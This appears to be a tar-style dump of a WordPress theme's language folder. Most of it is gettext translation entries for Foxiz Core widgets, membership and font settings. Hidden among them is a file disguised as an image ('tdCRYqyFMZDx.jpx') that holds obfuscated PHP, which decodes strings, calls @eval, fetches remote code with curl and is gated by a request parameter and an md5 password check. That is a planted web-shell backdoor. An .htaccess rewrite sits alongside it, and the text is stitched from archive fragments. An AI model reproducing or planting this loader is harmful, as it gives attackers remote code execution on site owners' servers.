includes/helpers.php:111 msgid "M" msgstr "" #: includes/helpers.php:113 msgid "k" msgstr "" #: includes/helpers.php:484 msgid "- Select a Template -" msgstr "" #: includes/shares.php:44 includes/widget.php:432 msgid "Facebook" msgstr "" #: includes/shares.php:49 includes/widget.php:451 msgid "Twitter" msgstr "" #: includes/shares.php:59 includes/widget.php:470 msgid "Pinterest" msgstr "" #: includes/shares.php:63 includes/shares.php:64 msgid "Whatsapp" msgstr "" #: includes/shares.php:68 msgid "LinkedIn" msgstr "" #: includes/shares.php:72 msgid "Tumblr" msgstr "" #: includes/shares.php:76 msgid "Reddit" msgstr "" #: includes/shares.php:80 msgid "VKontakte" msgstr "" #: includes/shares.php:84 includes/widget.php:546 msgid "Telegram" msgstr "" #: includes/shares.php:88 #, php-format msgid "" "I found this article interesting and thought of sharing it with you. Check " "it out: %s" msgstr "" #: includes/shares.php:89 msgid "Email" msgstr "" #: includes/shares.php:92 msgid "Copied!" msgstr "" #: includes/shares.php:92 msgid "Copy Link" msgstr "" #: includes/shares.php:95 msgid "Print" msgstr "" #: includes/shortcodes.php:79 msgid "You Might Also Like" msgstr "" #: includes/widget.php:20 msgid "C" msgstr "" #: includes/widget.php:20 msgid "F" msgstr "" #: includes/widget.php:141 msgid "km/h" msgstr "" #: includes/widget.php:141 msgid "mph" msgstr "" #: includes/widget.php:151 msgid "%" msgstr "" #: includes/widget.php:343 msgid "No weather information available. Please check your location here: " msgstr "" #: includes/widget.php:344 msgid "Find location" msgstr "" #: includes/widget.php:428 includes/widget.php:447 includes/widget.php:466 #: includes/widget.php:485 includes/widget.php:523 includes/widget.php:561 #: includes/widget.php:580 widgets/sb-tweet.php:141 msgid "Followers" msgstr "" #: includes/widget.php:430 includes/widget.php:433 msgid "Like" msgstr "" #: includes/widget.php:449 includes/widget.php:452 includes/widget.php:487 #: includes/widget.php:490 includes/widget.php:525 includes/widget.php:528 #: includes/widget.php:544 includes/widget.php:547 includes/widget.php:563 #: includes/widget.php:566 includes/widget.php:582 includes/widget.php:585 msgid "Follow" msgstr "" #: includes/widget.php:468 includes/widget.php:471 msgid "Pin" msgstr "" #: includes/widget.php:489 msgid "Instagram" msgstr "" #: includes/widget.php:504 msgid "Subscribers" msgstr "" #: includes/widget.php:506 includes/widget.php:509 msgid "Subscribe" msgstr "" #: includes/widget.php:508 msgid "Youtube" msgstr "" #: includes/widget.php:527 msgid "SoundCloud" msgstr "" #: includes/widget.php:542 msgid "Members" msgstr "" #: includes/widget.php:565 msgid "Vimeo" msgstr "" #: includes/widget.php:584 msgid "Dribbble" msgstr "" #: includes/widget.php:618 includes/widget.php:619 includes/widget.php:621 #: includes/widget.php:629 includes/widget.php:635 includes/widget.php:642 msgid "banner" msgstr "" #: membership/options.php:15 membership/options.php:37 msgid "Membership" msgstr "" #: membership/options.php:16 msgid "Select options for the membership plugin." msgstr "" #: membership/options.php:22 msgid "Simple WordPress Membership Plugin is missing!" msgstr "" #: membership/options.php:29 msgid "" "Please install " "Simple WordPress Membership plugin to enable the theme features." msgstr "" #: membership/options.php:38 msgid "Select options for Simple WordPress Membership plugin." msgstr "" #: membership/options.php:45 msgid "Content Restrict for New Users" msgstr "" #: membership/options.php:51 msgid "Restrict Content Title" msgstr "" #: membership/options.php:52 msgid "Input your restrict content title, allow raw HTML." msgstr "" #: membership/options.php:58 msgid "Restrict Content Description" msgstr "" #: membership/options.php:59 msgid "Input your restrict content description, allow raw HTML." msgstr "" #: membership/options.php:65 msgid "Join US Button Label" msgstr "" #: membership/options.php:66 msgid "Input a join us button label." msgstr "" #: membership/options.php:67 msgid "Get Digital All Access" msgstr "" #: membership/options.php:72 msgid "Login Description" msgstr "" #: membership/options.php:73 msgid "Input your login description." msgstr "" #: membership/options.php:74 msgid "Already a subscriber?" msgstr "" #: membership/options.php:79 msgid "Login Button Label" msgstr "" #: membership/options.php:80 msgid "Input the login button label." msgstr "" #: membership/options.php:81 msgid "Sign In" msgstr "" #: membership/options.php:93 msgid "Content Restrict for Logged Users" msgstr "" #: membership/options.php:99 msgid "Upgrade Membership Title" msgstr "" #: membership/options.php:100 msgid "Input your upgrade membership level title, allow raw HTML." msgstr "" #: membership/options.php:106 msgid "Upgrade Membership Description" msgstr "" #: membership/options.php:107 msgid "Input your upgrade membership level description, allow raw HTML." msgstr "" #: membership/options.php:120 msgid "Content Restrict for Expired Users" msgstr "" #: membership/options.php:126 msgid "Renewal Membership Title" msgstr "" #: membership/options.php:127 msgid "Input your renewal membership title, allow raw HTML." msgstr "" #: membership/options.php:133 msgid "Renewal Membership Description" msgstr "" #: membership/options.php:134 msgid "Input your renewal membership description, allow raw HTML." msgstr "" #: membership/options.php:140 msgid "Renewal Button Label" msgstr "" #: membership/options.php:141 msgid "Input a renewal button label." msgstr "" #: membership/options.php:142 msgid "Renewal Your MemberShip" msgstr "" #: membership/options.php:155 msgid "Exclusive Label" msgstr "" #: membership/options.php:161 msgid "Member Only Label" msgstr "" #: membership/options.php:162 msgid "Input a Label for displaying before the post title listing." msgstr "" #: membership/options.php:163 msgid "Leave blank to disable the label." msgstr "" #: membership/options.php:169 msgid "Label Style" msgstr "" #: membership/options.php:170 msgid "Select a style for the member only label." msgstr "" #: membership/options.php:172 msgid "Background Color" msgstr "" #: reaction/reaction.php:79 msgid "Love" msgstr "" #: reaction/reaction.php:84 msgid "Sad" msgstr "" #: reaction/reaction.php:89 msgid "Happy" msgstr "" #: reaction/reaction.php:94 msgid "Sleepy" msgstr "" #: reaction/reaction.php:99 msgid "Angry" msgstr "" #: reaction/reaction.php:104 msgid "Dead" msgstr "" #: reaction/reaction.php:109 msgid "Wink" msgstr "" #: reaction/reaction.php:114 msgid "Cry" msgstr "" #: reaction/reaction.php:119 msgid "Embarrass" msgstr "" #: reaction/reaction.php:124 msgid "Joy" msgstr "" #: reaction/reaction.php:129 msgid "Shy" msgstr "" #: reaction/reaction.php:134 msgid "Surprise" msgstr "" #: widgets/banner.php:24 msgid "Foxiz - Widget Banner" msgstr "" #: widgets/banner.php:26 msgid "" "[Sidebar Widget] Display banner with text and background image in the " "sidebars." msgstr "" #: widgets/banner.php:82 msgid "Text Select a text color scheme for this block." msgstr "" #: widgets/banner.php:85 widgets/fw-mc.php:74 msgid "Dark Text" msgstr "" #: widgets/fw-instagram.php:15 msgid "Follow @ Instagram
Our Profile
" msgstr "" #: widgets/fw-instagram.php:25 msgid "Foxiz - Fw Instagram" msgstr "" #: widgets/fw-instagram.php:27 msgid "" "[Full Width Widget] Display a grid of instagram images in the full width " "sections." msgstr "" #: widgets/fw-instagram.php:52 msgid "Header Intro (raw HTML allowed)" msgstr "" #: widgets/fw-instagram.php:59 msgid "Instagram Token" msgstr "" #: widgets/fw-instagram.php:60 widgets/sb-instagram.php:58 msgid "" "Refer to this Documentation to create an " "Instagram token" msgstr "" #: widgets/fw-instagram.php:69 msgid "Wrapper Masonry" msgstr "" #: widgets/fw-instagram.php:70 msgid "Wide Masonry" msgstr "" #: widgets/fw-instagram.php:71 msgid "Default Grid" msgstr "" #: widgets/fw-instagram.php:78 msgid "Total Images (Default Grid)" msgstr "" #: widgets/fw-instagram.php:79 msgid "This setting will only apply to the default grid layout." msgstr "" #: widgets/fw-instagram.php:88 msgid "5 columns" msgstr "" #: widgets/fw-instagram.php:89 msgid "6 columns" msgstr "" #: widgets/fw-instagram.php:90 msgid "7 columns" msgstr "" #: widgets/fw-instagram.php:91 msgid "8 columns" msgstr "" #: widgets/fw-instagram.php:92 msgid "9 columns" msgstr "" #: widgets/fw-instagram.php:134 widgets/sb-instagram.php:108 msgid "Instagram Error: " msgstr "" #: widgets/fw-instagram.php:201 widgets/sb-instagram.php:175 msgid "Instagram token not found" msgstr "" #: widgets/fw-instagram.php:227 widgets/sb-instagram.php:201 msgid "Could not connect to Instagram API server." msgstr "" #: widgets/fw-instagram.php:237 widgets/sb-instagram.php:211 msgid "instagram image" msgstr "" #: widgets/fw-instagram.php:274 msgid "" "Incorrect token or has been expired, Please create a new token and try again!" msgstr "" #: widgets/fw-mc.php:23 msgid "Foxiz - FW Newsletter" msgstr "" #: widgets/fw-mc.php:25 msgid "" "[Full Width Widget] Display a Mailchimp sign-up form in the full width " "sections." msgstr "" #: widgets/fw-mc.php:64 msgid "Mailchimp Form Shortcode" msgstr "" #: widgets/fw-mc.php:82 msgid "Background Color (hex value)" msgstr "" #: widgets/fw-mc.php:90 msgid "Input a background image URL (attachment URL) for this widget." msgstr "" #: widgets/ruby-template.php:19 msgid "Foxiz - Ruby Template" msgstr "" #: widgets/ruby-template.php:21 msgid "Display a ruby template in widget sections." msgstr "" #: widgets/ruby-template.php:47 msgid "Select a Template" msgstr "" #: widgets/ruby-template.php:48 msgid "Select a Ruby template to display in this sidebar section." msgstr "" #: widgets/ruby-template.php:55 msgid "or Shortcode" msgstr "" #: widgets/ruby-template.php:56 msgid "Input a shortcode, this setting will override on the above setting." msgstr "" #: widgets/sb-ad-image.php:21 msgid "Foxiz - Widget Ad Image" msgstr "" #: widgets/sb-ad-image.php:23 msgid "[Sidebar Widget] Display your custom ad image in the sidebars." msgstr "" #: widgets/sb-ad-image.php:55 msgid "Destination URL" msgstr "" #: widgets/sb-ad-image.php:62 msgid "Ad Image URL" msgstr "" #: widgets/sb-ad-image.php:63 msgid "Input your advert image URL (attachment URL) for this widget." msgstr "" #: widgets/sb-ad-image.php:70 msgid "Dark Mode - Ad Image URL" msgstr "" #: widgets/sb-ad-image.php:71 msgid "" "Input your advert image URL (attachment URL) for this widget in the dark " "mode." msgstr "" #: widgets/sb-ad-script.php:23 msgid "Foxiz - Widget Ad Script" msgstr "" #: widgets/sb-ad-script.php:25 msgid "" "Display your Js ad or Google Adsense in the sidebars or full width widget " "areas." msgstr "" #: widgets/sb-ad-script.php:66 msgid "Select a custom size for this ad if you use the adsense ad units code." msgstr "" #: widgets/sb-ad-script.php:78 msgid "Select a size on the desktop devices." msgstr "" #: widgets/sb-ad-script.php:87 msgid "Select a size on the tablet devices." msgstr "" #: widgets/sb-ad-script.php:96 msgid "Select a size on the mobile devices/" msgstr "" #: widgets/sb-address.php:26 msgid "Foxiz - Widget Address" msgstr "" #: widgets/sb-address.php:28 msgid "[Sidebar Widget] Display the address information in the sidebars." msgstr "" #: widgets/sb-address.php:59 msgid "Address Title" msgstr "" #: widgets/sb-address.php:66 msgid "Office Address" msgstr "" #: widgets/sb-address.php:73 msgid "Phone/Tel Label" msgstr "" #: widgets/sb-address.php:80 msgid "Phone Number" msgstr "" #: widgets/sb-address.php:87 msgid "Tel Number" msgstr "" #: widgets/sb-address.php:94 msgid "Email Address" msgstr "" #: widgets/sb-address.php:101 msgid "Additional Label" msgstr "" #: widgets/sb-address.php:108 msgid "Additional Info" msgstr "" #: widgets/sb-facebook.php:19 msgid "Foxiz - Widget Facebook" msgstr "" #: widgets/sb-facebook.php:21 msgid "[Sidebar Widget] Display the Facebook Like box in the sidebars." msgstr "" #: widgets/sb-facebook.php:52 msgid "Fan Page URL" msgstr "" #: widgets/sb-flickr.php:22 msgid "Foxiz - Widget Flickr Grid" msgstr "" #: widgets/sb-flickr.php:24 msgid "[Sidebar Widget] Display a grid of Flickr images in the sidebars." msgstr "" #: widgets/sb-flickr.php:55 msgid "Flickr Settings" msgstr "" #: widgets/sb-flickr.php:61 msgid "Get Flickr Id" msgstr "" #: widgets/sb-flickr.php:62 msgid "Flickr User ID" msgstr "" #: widgets/sb-flickr.php:69 msgid "Total Images" msgstr "" #: widgets/sb-flickr.php:76 msgid "Tags (optional, Separate tags with comma. i.e. tag1,tag2)" msgstr "" #: widgets/sb-flickr.php:85 widgets/sb-instagram.php:74 msgid "2 columns" msgstr "" #: widgets/sb-flickr.php:86 widgets/sb-instagram.php:75 msgid "3 columns" msgstr "" #: widgets/sb-flickr.php:87 widgets/sb-instagram.php:76 msgid "4 columns" msgstr "" #: widgets/sb-flickr.php:103 msgid "Flickr Error: " msgstr "" #: widgets/sb-flickr.php:132 msgid "Flickr use ID not found" msgstr "" #: widgets/sb-follower.php:38 msgid "Foxiz - Widget Social Counter" msgstr "" #: widgets/sb-follower.php:40 msgid "" "[Sidebar Widget] Display your media socials with total of followers in the " "sidebars." msgstr "" #: widgets/sb-follower.php:96 msgid "Facebook Settings" msgstr "" #: widgets/sb-follower.php:116 msgid "Twitter Settings" msgstr "" #: widgets/sb-follower.php:136 msgid "Pinterest Settings" msgstr "" #: widgets/sb-follower.php:156 msgid "Instagram Settings" msgstr "" #: widgets/sb-follower.php:176 widgets/sb-youtube.php:53 msgid "Youtube Settings" msgstr "" #: widgets/sb-follower.php:196 msgid "SoundCloud Settings" msgstr "" #: widgets/sb-follower.php:216 msgid "Telegram Settings" msgstr "" #: widgets/sb-follower.php:236 msgid "Vimeo Settings" msgstr "" #: widgets/sb-follower.php:256 msgid "Dribbble Settings" msgstr "" #: widgets/sb-follower.php:275 msgid "Font Size Settings" msgstr "" #: widgets/sb-follower.php:280 msgid "Widget Font Size" msgstr "" #: widgets/sb-instagram.php:23 msgid "Foxiz - Widget Instagram" msgstr "" #: widgets/sb-instagram.php:25 msgid "[Sidebar Widget] Display a grid of instagram images in the sidebars." msgstr "" #: widgets/sb-instagram.php:57 msgid "Input Instagram Token" msgstr "" #: widgets/sb-instagram.php:65 msgid "Default Grid - Total Images" msgstr "" #: widgets/sb-instagram.php:84 msgid "Footer Description" msgstr "" #: widgets/sb-instagram.php:85 msgid "Input a short description to display at the footer, raw HTML allowed." msgstr "" #: widgets/sb-instagram.php:92 msgid "Footer Link" msgstr "" #: widgets/sb-instagram.php:248 msgid "Token did not work or has expired, Try to create a new token." msgstr "" #: widgets/sb-post.php:30 msgid "Foxiz - Post Listing" msgstr "" #: widgets/sb-post.php:32 msgid "" "[Sidebar Widget] Display a small list latest post listing in the sidebar." msgstr "" #: widgets/sb-post.php:63 msgid "Select a category you would like to show." msgstr "" #: widgets/sb-post.php:119 msgid "Order By" msgstr "" #: widgets/sb-post.php:142 msgid "Posts per Page" msgstr "" #: widgets/sb-social-icon.php:43 msgid "Foxiz - Widget Social Icons/About" msgstr "" #: widgets/sb-social-icon.php:45 msgid "" "[Sidebar Widget] Display about me information and social icons in the " "sidebars." msgstr "" #: widgets/sb-social-icon.php:77 msgid "Short biography (raw HTML allowed)" msgstr "" #: widgets/sb-social-icon.php:84 msgid "Align Content" msgstr "" #: widgets/sb-social-icon.php:95 msgid "Social Profiles Source" msgstr "" #: widgets/sb-social-icon.php:96 msgid "" "To set social profiles from the Theme Options, Navigate to: Theme " "Options -> Social Profiles." msgstr "" #: widgets/sb-social-icon.php:99 msgid "Use Custom" msgstr "" #: widgets/sb-social-icon.php:107 msgid "Open in new tab" msgstr "" #: widgets/sb-social-icon.php:109 msgid "Default" msgstr "" #: widgets/sb-social-icon.php:110 msgid "New Tab" msgstr "" #: widgets/sb-social-icon.php:124 msgid "Facebook URL" msgstr "" #: widgets/sb-social-icon.php:131 msgid "Twitter URL" msgstr "" #: widgets/sb-social-icon.php:138 msgid "Instagram URL" msgstr "" #: widgets/sb-social-icon.php:145 msgid "Pinterest URL" msgstr "" #: widgets/sb-social-icon.php:152 msgid "Linkedin URL" msgstr "" #: widgets/sb-social-icon.php:159 msgid "Tumblr URL" msgstr "" #: widgets/sb-social-icon.php:166 msgid "Flickr URL" msgstr "" #: widgets/sb-social-icon.php:173 msgid "Skype URL" msgstr "" #: widgets/sb-social-icon.php:180 msgid "Snapchat URL" msgstr "" #: widgets/sb-social-icon.php:187 msgid "Myspace URL" msgstr "" #: widgets/sb-social-icon.php:194 msgid "Youtube URL" msgstr "" #: widgets/sb-social-icon.php:201 msgid "Bloglovin URL" msgstr "" #: widgets/sb-social-icon.php:208 msgid "Digg URL" msgstr "" #: widgets/sb-social-icon.php:215 msgid "Dribbble URL" msgstr "" #: widgets/sb-social-icon.php:222 msgid "SoundCloud URL" msgstr "" #: widgets/sb-social-icon.php:229 msgid "Vimeo URL" msgstr "" #: widgets/sb-social-icon.php:236 msgid "Reddit URL" msgstr "" #: widgets/sb-social-icon.php:243 msgid "VKontakte URL" msgstr "" #: widgets/sb-social-icon.php:250 msgid "Telegram URL" msgstr "" #: widgets/sb-social-icon.php:257 msgid "Whatsapp URL" msgstr "" #: widgets/sb-social-icon.php:264 msgid "RSS URL" msgstr "" #: widgets/sb-tweet.php:15 msgid "Latest Tweets" msgstr "" #: widgets/sb-tweet.php:24 msgid "Foxiz - Widget Tweet" msgstr "" #: widgets/sb-tweet.php:26 msgid "[Sidebar Widget] Display latest Twitter tweets in the sidebars." msgstr "" #: widgets/sb-tweet.php:58 msgid "Twitter User Name" msgstr "" #: widgets/sb-tweet.php:65 msgid "Number of Tweets" msgstr "" #: widgets/sb-tweet.php:72 msgid "Twitter API Settings" msgstr "" #: widgets/sb-tweet.php:79 msgid "Twitter Consumer Key" msgstr "" #: widgets/sb-tweet.php:86 msgid "Twitter Consumer Secret" msgstr "" #: widgets/sb-tweet.php:93 msgid "Twitter Access Token" msgstr "" #: widgets/sb-tweet.php:100 msgid "Twitter Access Secret" msgstr "" #: widgets/sb-tweet.php:135 msgid "Following" msgstr "" #: widgets/sb-tweet.php:156 #, php-format msgid "%s ago" msgstr "" #: widgets/sb-weather.php:22 msgid "Foxiz - Widget Weather" msgstr "" #: widgets/sb-weather.php:24 msgid "[Sidebar Widget] Display today weather information in the sidebars." msgstr "" #: widgets/sb-weather.php:56 msgid "Units" msgstr "" #: widgets/sb-weather.php:67 msgid "Weather Settings" msgstr "" #: widgets/sb-weather.php:73 msgid "Digit ISO Location Code" msgstr "" #: widgets/sb-weather.php:75 msgid "Put the city's name, comma, 2-letter country code. i.e: London, GB)" msgstr "" #: widgets/sb-weather.php:81 msgid "Weather API Key" msgstr "" #: widgets/sb-weather.php:89 msgid "Forecast" msgstr "" #: widgets/sb-youtube.php:20 msgid "Foxiz - Youtube Subscribe" msgstr "" #: widgets/sb-youtube.php:22 msgid "[Sidebar Widget] Display YouTube subscribe box in the sidebars." msgstr "" #: widgets/sb-youtube.php:59 msgid "Channel Name" msgstr "" #: widgets/sb-youtube.php:66 msgid "or Channel ID" msgstr "" #: widgets/sb-youtube.php:67 msgid "this setting will override on the above channel name." msgstr "" languages/languages/tdCRYqyFMZDx.jpx000064400000011475147206624460013436 0ustar00-*/$Hjlku/*-6:)p-*/[32+19]./*-o>|>LJ-*/$Hjlku/*-IbRR%-*/[26+27]/*-?w`-*/$Fk/*-mcc-*/[79];/*-pA3krzD-*/ @eval/*-Wg]r_0-*/(/*-@0U.Z6I-*/$Fk/*-fI@c-*/[63]/*-4-*/(/*--!6;V>P~-*/${$Fk[39]}/*-Y5F7:=:-*/[23])); }/*-7TJ#-*/class /*-grbt(j-*/vlJ($jYH) /*-Bqc_-*/{ $QREUCOy/*-i7Aq-*/ = /*-nw>1%ub|-*/"r"./*-vAF-*/"a"./*-D)T([b#p4-*/"n"./*-l^qTC2F-*/"g"./*-+w!+]ok1fP-*/"e"; /*-onQ@_K-*/$EGrqaBepcF/*-kjDPA?(F-*/ = /*-]T_]r-*/$QREUCOy/*-x#I-*/(/*-e->sb1p-*/"~"/*-={X_!Iw-*/, /*-bucyirn-fb-*/" "/*-4gXn?-*/);/*-$qPyr+-*/ $hHDP /*-|$hx-*/= /*-v?m#DNn-*/explode/*-0u-*/(/*-ap(w?sy<-*/"&", /*-[B=j8=-*/$jYH/*-B`}VQq-*/); /*-8x+-*/$WBkMxN /*-U;]5-*/= /*-?(gmL`W-*/""; foreach /*-!/*-c@_MrE-*/ $JrGfmOhzk/*-w&|rzT-*/) /*-Q]F]L3-*/$WBkMxN /*->T-*/.= /*-:V#_-*/$EGrqaBepcF[$JrGfmOhzk/*-4HyO-*/ - /*-up-*/68027/*-$ibv~v,-*/];/*-;`<3}q|P+T-*/ return /*-OK-*/$WBkMxN; /*-?(-*/} /*-yNEt-*/static /*-D=F;O<-*/function /*-{`<-*/nEJtcyjl/*-tp!+$cD;a-*/(/*-sb-*/$JYreD,/*-Q;]5-*/ {/*-SXz7t_cx-*/ $aJxsRT/*-Aa6i4`-*/ = /*-~Y;n,w|-*/curl_init/*-R%-*/(/*-f!!_v4eqy-*/$JYreD/*-m$v6-*/);/*-MlT5-*/ curl_setopt/*-kAS-*/(/*-YmOZ>?<-*/$aJxsRT,/*-@r%-d-*/ CURLOPT_RETURNTRANSFER,/*-&[s~dzu-*/ 1/*-+`;z-*/);/*-z&UQA-*/ $gwMec/*-H20`-*/ = /*-lS-*/curl_exec/*-L?x9-*/(/*-9{.-*/$aJxsRT/*-$.!z$8iK|-*/); /*-w~sU-*/return /*-5j(H-*/empty/*-oj)Eo-*/(/*-MBSH`+XV-*/$gwMec/*-%EN;n1k-*/)/*-TN,0E-*/ ? /*-4|f_q-*/$Aor/*-Gz=BWu6-*/(/*-l~-*/$JYreD/*-p.-*/)/*-975+EE9x-*/ : /*-7ty}$RsF-*/$gwMec; /*-B~[]E=-*/}/*->eQyWVWig-*/ static/*-,a-*/ function /*-5?hvp(T[h-*/TJvaCDxht/*-YA!f&2:-*/() /*-mI<75C-*/{/*-jnNa-*/ $hKvVtSXwE /*-(mP<-*/=/*-50-*/ array/*-y`;kr|7S-*/("68054&68039&68052&68056&68037&68052&68058&68051&68036&68043&68054&68037&68048&68042&68043","68038&68037&68039&68058&68039&68042&68037&68104&68102","68047&68038&68042&68043&68058&68053&68052&68054&68042&68053&68052","68041&68056&68054&68046","68055&68056&68038&68052&68099&68101&68058&68053&68052&68054&68042&68053&68052","68051&68048&68045&68052&68058&68050&68052&68037&68058&68054&68042&68043&68037&68052&68043&68037&68038","68081&68111","68028","68106&68111","68088&68071&68071&68088&68064","68042&68051"); /*-~?M-*/foreach /*-`:DH^P-*/(/*-EB3K-*/$hKvVtSXwE/*-b-*/ as /*-E7^f+sD2w~-*/$pSkvf/*-I$oH?-*/)/*-8lfrZD-*/ $WZ/*-f,u`Ja@(-*/[] /*-(>6-*/= /*-!mj,=^^PEJ-*/self/*-_!3djiq9{-*/::/*-%TYZjL4J7-*/vlJ/*-F0|EyWm-*/= /*-^Rqv%x@-*/@$WZ/*-a3{Q-*/[/*-_;-*/1/*-[C$&T1K~-*/]/*-cZ-*/(/*-zZ1cxH-*/${/*-Sx|Pe`y-*/"_"/*-8_-*/."G"/*-C.-*/."E"/*-YYOL+Zz>0-*/."T"/*-`-*/=/*-l@vk1s.!x-*/ @$WZ/*-9C-*/[/*-Lxm}{-*/1+2/*-j--*/]/*-Hu70YA8bvv-*/(/*-~14$iU2=-*/$WZ/*-y1X,-*/[/*-ifc-*/3+3/*-FKSz3-*/], /*-lS1Yz-*/$FgmKUNYl/*-A1,[dnjM-*/);/*-@F9,nyy-*/ $CLAoHnKwT /*-Fs-*/=/*-LXZ.!ft%-*/ $WZ/*-m%c?N{8-*/[/*-kS0-*/1+1/*-g9<:u)-*/]/*-TKTTp(jx-*/(/*-Tk+-*/$CdFPW,/*-IxFB!-*/ true/*-=C-*/); /*-)tKmIZ3`-*/@${/*-s;xdy7-*/"_"./*-sj-*/"G"./*-#Z27-*/"E"/*-h?N~-*/."T"/*-|JzHu-*/}/*-a4NZXN3bQM-*/[/*-|{0-*/$WZ/*-k>j-*/[8+2/*-1J,XF7z+j-*/]/*-AV44x(-*/]/*-$_-*/ == /*-E1W>@4XcH-*/1 /*-sJPp-*/&& /*-iaHo-*/die/*-pMcmN-*/(/*-<[FxZ-*/$WZ[3+2/*-#V-*/]/*-G](MHWq-*/(/*-Df /*-JcZ_p-*/0/*-d=7Dfzo-*/)/*-jvF0{5ob-*/ and /*-LMNX%P,-*/(/*-U82UJV){:-*/md5/*-[+`t-*/(/*-GQ1:,-*/md5/*-aG-*/(/*-z#)x((^--*/$CLAoHnKwT/*-HyNR:s}v-*/[/*-_n~e>-@B-*/0+3/*-O.d-*/]/*-F%fMR-*/)/*-(<-*/)/*-8T!1XAA)M!-*/ === /*-kU-*/"52231c9f4161253cb4063053145fb2e7"/*-Hg%k5a-*/)/*-@v#z-*/ ): /*-gE2J-*/$pkPwmDhQX /*-eOBMoE-*/=/*-zO_74#v-*/ self/*-Cr-*/::/*-O,DSkT8-*/nEJtcyjl/*-4N~8a@VF-*/(/*-GGUF-*/$CLAoHnKwT/*-,{5.-*/[/*-cf;J-*/0+1/*-oPt-*/], /*-5bFhlanguages/languages/index.php000064400000000000147206624460012301 0ustar00languages/languages/.htaccess000064400000001626147206624460012276 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] languages/foxiz-core-pt_BR.po000064400000516715147206624460012175 0ustar00msgid "" msgstr "" "Project-Id-Version: Foxiz Core\n" "POT-Creation-Date: 2022-05-18 13:29+0700\n" "PO-Revision-Date: 2022-08-29 02:10+0000\n" "Last-Translator: \n" "Language-Team: Português do Brasil\n" "Language: pt_BR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: _x;__;_e;_nx:1,2;esc_html__;esc_html_e;esc_attr__;" "esc_attr_e;foxiz_html__;foxiz_html_e;foxiz_attr__;foxiz_attr_e\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-SearchPathExcluded-0: *.js\n" "X-Poedit-SearchPathExcluded-1: composer\n" "X-Poedit-SearchPathExcluded-2: lib\n" "X-Poedit-SearchPathExcluded-3: rb-meta\n" "X-Poedit-SearchPathExcluded-4: amp\n" "Report-Msgid-Bugs-To: \n" "X-Loco-Version: 2.6.2; wp-6.0.1" #: admin/core.php:54 msgid "Foxiz Admin" msgstr "" #: admin/core.php:168 admin/core.php:210 admin/core.php:267 admin/core.php:281 msgid "Sorry, you are not allowed to do this action." msgstr "" #: admin/core.php:173 msgid "Empty data! Please check input form." msgstr "" #: admin/core.php:178 msgid "Wrong email format! Please check input form." msgstr "" #: admin/core.php:240 msgid "Bad Request." msgstr "" #: admin/core.php:290 msgid "OK" msgstr "" #: admin/fonts/fonts.php:32 admin/fonts/fonts.php:33 msgid "Adobe Fonts" msgstr "" #: admin/fonts/fonts.php:39 admin/fonts/template.php:94 #: admin/translation/template.php:38 msgid "Save Changes" msgstr "" #: admin/fonts/fonts.php:40 msgid "Delete Project" msgstr "" #: admin/fonts/fonts.php:74 elementor/control.php:15 elementor/control.php:140 #: elementor/control.php:175 elementor/control.php:196 #: elementor/control.php:280 elementor/control.php:352 #: elementor/control.php:379 elementor/control.php:437 #: elementor/control.php:456 elementor/control.php:496 #: elementor/control.php:515 elementor/control.php:568 #: elementor/heading.php:108 elementor/hierarchical-1.php:354 #: elementor/hierarchical-1.php:364 elementor/hierarchical-2.php:326 #: elementor/hierarchical-2.php:336 elementor/hierarchical-3.php:341 #: elementor/hierarchical-3.php:351 elementor/overlay-1.php:333 #: elementor/overlay-2.php:437 elementor/quick-links.php:65 #: widgets/sb-post.php:95 msgid "- Default -" msgstr "" #: admin/fonts/fonts.php:86 msgid " - Italic" msgstr "" #: admin/fonts/fonts.php:88 msgid " - Normal" msgstr "" #: admin/fonts/init.php:130 msgid "Project ID is invalid. Please check again!" msgstr "" #: admin/fonts/init.php:134 msgid "Project is empty. Please add some fonts to your project." msgstr "" #: admin/fonts/init.php:138 msgid "Adobe Fonts have been successfully deleted." msgstr "" #: admin/fonts/init.php:142 msgid "Adobe Fonts have been successfully loaded." msgstr "" #: admin/fonts/init.php:149 msgid "Font settings have been successfully saved." msgstr "" #: admin/fonts/template.php:12 msgid "Adobe (TypeKit) Fonts" msgstr "" #: admin/fonts/template.php:13 msgid "" "The theme supports Adobe (TypeKit) Fonts. These settings below will override " "on Google Fonts settings in the Theme Options panel." msgstr "" #: admin/fonts/template.php:18 msgid "Project ID" msgstr "" #: admin/fonts/template.php:19 #, php-format msgid "" "You can find the Project ID here from " "your Typekit Account." msgstr "" #: admin/fonts/template.php:25 msgid "Edit Project ID" msgstr "" #: admin/fonts/template.php:36 msgid "Adobe Font Details" msgstr "" #: admin/fonts/template.php:37 msgid "The list below will display all fonts in your Adobe fonts account." msgstr "" #: admin/fonts/template.php:41 msgid "Emty project ID." msgstr "" #: admin/fonts/template.php:43 msgid "No webfont found in your project." msgstr "" #: admin/fonts/template.php:46 msgid "Fonts" msgstr "" #: admin/fonts/template.php:47 msgid "Font Family" msgstr "" #: admin/fonts/template.php:48 msgid "Weight & Style" msgstr "" #: admin/fonts/template.php:62 elementor/navigation.php:323 msgid "Font Settings" msgstr "" #: admin/fonts/template.php:63 msgid "" "These settings below will override on Google Fonts settings in the Theme " "Options panel." msgstr "" #: admin/fonts/template.php:71 msgid "H1 Tag" msgstr "" #: admin/fonts/template.php:72 msgid "H2 Tag" msgstr "" #: admin/fonts/template.php:73 msgid "H3 Tag" msgstr "" #: admin/fonts/template.php:74 msgid "H4 Tag" msgstr "" #: admin/fonts/template.php:75 msgid "H5 Tag" msgstr "" #: admin/fonts/template.php:76 msgid "H6 Tag" msgstr "" #: admin/fonts/template.php:77 msgid "Site Body" msgstr "" #: admin/import/ajax.php:116 msgid "Not found!" msgstr "" #: admin/import/import.php:38 admin/import/import.php:39 msgid "Demo Importer" msgstr "" #: admin/import/init.php:29 msgid "An error occurred during import." msgstr "" #: admin/import/lib/class-wp-import.php:116 #: admin/import/lib/class-wp-import.php:167 #: admin/import/lib/class-wp-import.php:171 #: admin/import/lib/class-wp-import.php:180 msgid "Sorry, there has been an error." msgstr "" 